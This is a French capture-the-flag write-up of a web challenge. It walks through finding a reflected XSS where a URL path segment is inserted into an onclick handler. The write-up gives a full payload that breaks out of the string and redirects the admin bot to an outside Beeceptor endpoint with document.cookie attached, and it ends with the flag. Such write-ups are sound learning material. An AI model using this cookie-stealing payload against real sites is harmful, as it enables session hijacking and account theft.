Voici mon writeup du deuxième challenge web d’un CTF privé. (Challenge par Mizu)

Je n’ai pas flag le challenge comme voulu donc vous pouvez jeter un oeil à ce writeup d’Hippie qui a flag le challenge correctement. :p

Énoncé: The final battle against ganon has started! Ganon is holding the holy cookie, find a way to steal it from him!

Première approche

On peut voir une petite page de bienvenue:

first_look

On a deux pages intéressantes. Premièrement on peut aller dans le donjon où on affronte un monstre puis on peut également report des url à l’administrateur

Jetons un oeil au donjon:

dungeon

On peut utiliser 3 objets, une épée, une potion et une bouclier, on les utilisera un peu plus tard.

Maintenant allons regarder la page de report:

report

Hum, on peut voir que l’administrateur prend une potion pour checker notre page vulnérable, on va exploiter ça.

Trouver la vulnérabilité

C’est une application js et on doit voler des cookies donc on peut supposer qu’on va exploiter une XSS Basée sur le DOM. Je vous laisse checker mon article sur cette vulnérabilité si vous ne la connaissez pas.

Jetons un oeil au code, voici le code HTML de la potion:

<div class="item_attack" style="margin-right: auto;">
    <img class="center mgb-1" src="/static/images/potion.png" width="75px">
    <button id="potion" onclick="make_damage('Link', 'Potion', '30')">Potion</button>
</div>

Hum, dans notre url /dungeon/30/Link il y a ‘Link’ donc une partie de notre url est réfléchie dans le JS ?

Essayons avec /dungeon/30/Booyaaaa:

<div class="item_attack" style="margin-right: auto;">
    <img class="center mgb-1" src="/static/images/potion.png" width="75px">
    <button id="potion" onclick="make_damage('Booyaaaa', 'Potion', '30')">Potion</button>
</div>

Yeah ! On sait que l’administrateur clique sur la potion donc il va exécuter le code JS dans make_damage(). Go exploiter ça !

Exploitation

J’ai écrit un post twitter à propos de quelque chose en js qui va être utile dans notre cas, tous les paramètres des fonctions js sont évalués :p

Mais on est dans une chaîne de caractères, on a juste à fermer la quote. Notre payload va commencer par '.

Maintenant on est dans le JS comme on veut, on va utiliser mon petit trick et mettre une virgule, maintenant on est dans le second paramètre et on peut faire ce qu’on veut !

On va utiliser une redirection sur un endpoint comme Beeceptor pour avoir les cookies de l’admin, voici notre payload actuel: ', document.location.replace('https://challenge.free.beeceptor.com/'.concat(document.cookie)).

Mais si on met ce payload ça va générer une erreur parce que le JS ressemble à ça:

<div class="item_attack" style="margin-right: auto;">
    <img class="center mgb-1" src="/static/images/potion.png" width="75px">
    <button id="potion" onclick="make_damage('', document.location.replace('https://challenge.free.beeceptor.com/'.concat(document.cookie))', 'Potion', '30')">Potion</button>
</div>

On va finir avec une virgule et une quote ,' pour compléter la fin de la fonction:

<div class="item_attack" style="margin-right: auto;">
    <img class="center mgb-1" src="/static/images/potion.png" width="75px">
    <button id="potion" onclick="make_damage('', document.location.replace('https://challenge.free.beeceptor.com/'.concat(document.cookie)), '', 'Potion', '30')">Potion</button>
</div>

make_damage() prend 3 arguments mais on en a donné 4, ce n’est pas un problème car document.location.replace() est d’abord évalué :p

Essayons si notre payload marche !

Payload: /dungeon/30/',document.location.replace('https://challenge.free.beeceptor.com/'.concat(document.cookie)),')

Test en local

On doit cliquer sur la potion parce qu’on sait que le bot le fera quand il checkera notre url, essayons !

beeceptor

Yeah! Notre payload marche nickel !

Conclusion

On a juste à report à l’administrateur et on aura notre flag :p

flag

Flag: R2Lille{1NN3R_HTML_t0_XSS_3AzYYY}

Merci pour ce challenge super cool ^^